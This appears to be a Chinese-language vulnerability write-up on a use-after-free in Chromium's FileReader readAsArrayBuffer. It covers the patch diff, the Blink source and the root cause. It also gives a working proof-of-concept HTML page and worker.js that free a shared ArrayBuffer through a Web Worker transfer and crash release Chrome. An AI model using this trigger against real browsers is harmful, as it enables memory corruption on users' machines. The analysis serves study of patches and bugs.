前言: 一个在FileReader Web API
上发现的UAF
洞。
分析: 先看diff
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if (!raw_data_ || error_code_ != FileErrorCode::kOK) return nullptr; DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer()); if (finished_loading_) { array_buffer_result_ = result; AdjustReportedMemoryUsageToV8( -1 * static_cast<int64_t>(raw_data_->ByteLength())); raw_data_.reset(); if (!finished_loading_) { return DOMArrayBuffer::Create( ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength())); } return result; array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer()); AdjustReportedMemoryUsageToV8(-1 * static_cast<int64_t>(raw_data_->ByteLength())); raw_data_.reset(); return array_buffer_result_; } String FileReaderLoader::StringResult() {
不同点就在于,result
返回值有变化,原版本:
1 DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
新版本:
1 return DOMArrayBuffer::Create(ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
根据代码可以猜测该变化是在ArrayBuffer
的分配上。所以我们往此方向分析即可。并且还有一个变化是对finished_loading_
状态改变,这个暂时还不清楚作用是什么,先往后看看。
FileReader: FileReader
对象允许Web应用程序异步读取存储在用户计算机上的文件(或原始数据缓冲区)的内容,使用 File
或 Blob
对象指定要读取的文件或数据。
简单来说就是平时在网页上所看见的上传本地文件的一个Web API
。
它的属性:
FileReader.readyState
(只读)
表示FileReader
状态的数字。取值如下:
常量名
值
描述
EMPTY
0
还没有加载任何数据.
LOADING
1
数据正在被加载.
DONE
2
已完成全部的读取请求.
三种状态。
FileReader.result
(只读):
文件的内容。该属性仅在读取操作完成后才有效,数据的格式取决于使用哪个方法来启动读取操作。
result
表示从文件中读取的数据。
文件读取方法有这么四种:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
根据上面所看的diff
变化是在ArrayBuffer
上我们可以想到用的是第一种方式读取文件数据。
事件处理上还有这么几个:
FileReader.onloadend
(该事件在读取操作结束时(要么成功,要么失败)触发)
FileReader.onprogress
(该事件在读取数据时触发)
接下来就可以开始往代码入手来分析了。先从老版本开始入手。
1 DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
在网页版的chromium源代码上我们可以快速查看各个引用。
先找到DOMArrayBuffer::Create
的具体函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 DOMArrayBuffer* DOMArrayBuffer::Create( scoped_refptr<SharedBuffer> shared_buffer) { WTF::ArrayBufferContents contents(shared_buffer->size(), 1, WTF::ArrayBufferContents::kNotShared, WTF::ArrayBufferContents::kDontInitialize); uint8_t* data = static_cast<uint8_t*>(contents.Data()); if (UNLIKELY(!data)) OOM_CRASH(); for (const auto& span : *shared_buffer) { memcpy(data, span.data(), span.size()); data += span.size(); }
scoped_refptr
作为表示智能指针,一般用于引用计数。
此函数可以大致看出是拿来申请DOMArrayBuffer
空间的一个函数,DOMArrayBuffer
和ArrayBuffer
不同,前者有着自己的内存管理方式,也就是partationAlloc
内存管理,主要用于Blink
即渲染器上的内存分配问题。而且该内存管理有着明显的区域划分规则,不同类别的区域块是不能复用的,互不相干的。所以具有着较强的安全性。具体的就不多说。
再看看raw_data_
的定义:
1 std::unique_ptr<ArrayBufferBuilder> raw_data_;
unique_ptr
也是一个智能指针,不过是独占式。因为他是ArrayBufferBuilder
的指针,所以在去查看ArrayBufferBuilder
的定义:
1 2 3 4 5 6 7 8 9 10 scoped_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer() { // Fully used. Return m_buffer as-is. if (buffer_->ByteLength() == bytes_used_) return buffer_; return buffer_->Slice(0, bytes_used_); } unsigned bytes_used_; scoped_refptr<ArrayBuffer> buffer_;
有了ToArrayBuffer
函数就好分析了,看上面的代码,如果申请的大小和最先定义申请的ArrayBuffer
空间大小相同,那么便直接返回该空间指针。如果不同,则从该ArrayBuffer
中切一块,大小为申请的大小,再返回该空间指针。因为不管什么情况,指针指向的都为同一块空间。所以当两个不同的对象指向同一块内存空间的时候,就会引发UAF
。所以我们再来看看新版本的改动的代码:
1 DOMArrayBuffer::Create(ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
看一下ArrayBuffer::Create
的定义:
1 2 3 4 5 6 7 8 9 10 scoped_refptr<ArrayBuffer> ArrayBuffer::Create(const void* source, size_t byte_length) { ArrayBufferContents contents(byte_length, 1, ArrayBufferContents::kNotShared, ArrayBufferContents::kDontInitialize); if (UNLIKELY(!contents.Data())) OOM_CRASH(); scoped_refptr<ArrayBuffer> buffer = base::AdoptRef(new ArrayBuffer(contents)); memcpy(buffer->Data(), source, byte_length); return buffer; }
该函数可以看出是申请一块内存,把参数中的原数据复制到申请的内存块上,再返回指向该内存的一个指针。再看看该函数的参数定义:
1 2 3 const void* Data() const { return buffer_->Data(); } unsigned ByteLength() const { return bytes_used_; }
所以这两个参数含义就是所申请空间上的数据以及数据长度的值。
所以我们可以区分出patch
前后的区别:
旧版本是在读取文件数据时,读取的整个过程中返回的ArrayBuffer
都是同一块。
新版本是在文件没有读取完时,返回的都是不同块。
现在再来看finished_loading_
的定义,初始值为:
1 bool finished_loading_ = false;
在此函数中,它的值会变true
:
1 2 3 4 5 6 7 8 9 10 11 12 void FileReaderLoader::OnFinishLoading() { if (read_type_ != kReadByClient && raw_data_) { raw_data_->ShrinkToFit(); is_raw_data_converted_ = false; } finished_loading_ = true; //become true Cleanup(); if (client_) client_->DidFinishLoading(); }
在下面两个函数中,才会调用上面的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void FileReaderLoader::OnComplete(int32_t status, uint64_t data_length) { ............ if (data_length != total_bytes_) { Failed(FileErrorCode::kNotReadableErr, FailureType::kReadSizesIncorrect); return; } received_on_complete_ = true; if (received_all_data_) OnFinishLoading(); //tigger } void FileReaderLoader::OnDataPipeReadable(MojoResult result) { ............ consumer_handle_->EndReadData(num_bytes); if (BytesLoaded() >= total_bytes_) { received_all_data_ = true; if (received_on_complete_) OnFinishLoading(); //tigger return; } } }
当received_all_data_
为真时,执行OnFinishLoading
,或者当received_on_complete_
为真时。根据变量名我们可以猜测出,当接收完所有数据时,finished_loading_
为true
。即读取文件数据读取完全时,为真。
所以当我们再来看旧版本代码时,一切都会变得很明了:
1 2 3 4 5 6 7 8 DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer()); if (finished_loading_) { array_buffer_result_ = result; AdjustReportedMemoryUsageToV8( -1 * static_cast<int64_t>(raw_data_->ByteLength())); raw_data_.reset(); } return result;
文件数据没有读取完全时和读取完后,返回的都是指向同一个ArrayBuffer-backing_store
的指针。只不过大小不同。那么,这就有了两个不同的对象指向同一个内存空间的情况,可引发UAF
。
我们可以写一个样例来看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function onprogress(e){ console.log(e.target.result); } function load_end(e){ console.log(e.target.result); } function main(){ var filereader = new FileReader(); var str = 'A'; str = str.repeat(100000000); var file = new Blob([str]); filereader.onload = load_end; filereader.onprogress = onprogress; filereader.readAsArrayBuffer(file); } main();
结果:
可以看见onprogress
事件被触发多次。但是最终的ArrayBuffer
大小两个事件得到的都一样,即两个不同的ArrayBuffer
对象共用了同一块的backing_store
空间。说明可以有机会构造出UAF
。
但是得到了两个指针后,该怎么利用又是一个问题。
因为JS
中没有主动释放ArrayBuffer
的函数,所以我们没有办法主动去释放其中一个指针。而且之前从代码中我们也可以看见,源代码中对buff
使用的是智能指针,且用了引用计数 的方式,来对buff
进行智能的释放。
现在的情况是我们所得到的一块buff
内存上有两个引用指针,即使释放了其中一个指针的引用,我们也还剩一个引用,根据引用计数的原则:当引用个数为0时,对象才会被回收。所以当我们释放一个指针时,也无法释放该内存,因此也无法产生UAF
。
那么我们该怎么做呢?
这里有两种方式释放内存。一种是利用Web Worker
,一种是WebAudio
。
两种方式都是通过转移ArrayBuffer
来释放底层的堆块,这种方式称作neuter
。
这里就介绍第一种:
Web Worker
通过postMessage
和onmessage
来发送接收消息。当发送出去的为ArrayBuffer
时,就能够实现ArrayBuffer
的转移,从而释放堆块。
postMessage
:
1 worker.postMessage(message, [transfer]);
message 表示要传递的数据。transfer
是可转移对象,可转移对象是如ArrayBuffer
,MessagePort
或ImageBitmap
的实例对象,可以以数组元素的方式放到第二个参数中,以提高传递效率,但是在第一个参数中需要指定一个引用,以方便目标线程接收。
这里有一个小例子:
1 2 3 4 5 var myWorker = new Worker('./worker.js'); var buff = new ArrayBuffer(0x100); console.log(buff.byteLength); myWorker.postMessage(buff,[buff]); console.log(buff.byteLength);
结果:
可以看见该ArrayBuffer
已经被转移了,已被释放。那么接下来就好构造poc
了。
POC: poc.html
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <!DOCTYPE html> <html> <head> <title>v1nke</title> <script type="text/javascript"> var pro_buff; var load_buff; function onprogress(e){ var buff = e.target.result; if(pro_buff.byteLength != 10000000){ pro_buff = buff; console.log(pro_buff); } //pro_buff = buff; //console.log(pro_buff); } function load_end(e){ var buff = e.target.result; load_buff = buff; if(pro_buff != load_buff && pro_buff.byteLength == load_buff.byteLength){ console.log('success!'); poc(); } else{ console.log('same buff'); main(); } } function poc(){ var worker = new Worker('./worker.js'); var dataview1 = new DataView(pro_buff); var dataview2 = new DataView(load_buff); dataview1.setUint32(0,0x41414141); worker.postMessage(pro_buff,[pro_buff]); console.log(load_buff); console.log(dataview2.getUint32(0)); worker.postMessage(load_buff,[load_buff]); } function main(){ var filereader = new FileReader(); pro_buff = load_buff = new ArrayBuffer(0); var input_str = "A"; input_str = input_str.repeat(10000000); var file = new Blob([input_str]); filereader.onprogress = onprogress; filereader.onloadend = load_end; filereader.readAsArrayBuffer(file); } main(); </script> </head> </html>
worker.js
:
1 2 onmessage = function(e){ }
效果:
如果运行在发行版本的Chrome
上,那么会直接crash
。
Patch: 此时再回过头来看补丁:
1 2 3 4 5 6 7 8 9 10 11 if (!finished_loading_) { return DOMArrayBuffer::Create( ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength())); } array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer()); AdjustReportedMemoryUsageToV8(-1 * static_cast<int64_t>(raw_data_->ByteLength())); raw_data_.reset(); return array_buffer_result_; }
加上了在没有读取完全文件数据时,返回的是读取文件的副本ArrayBuffer
内存空间,因此不会产生共用同一块内存空间的情况,也就预防了UAF
的产生。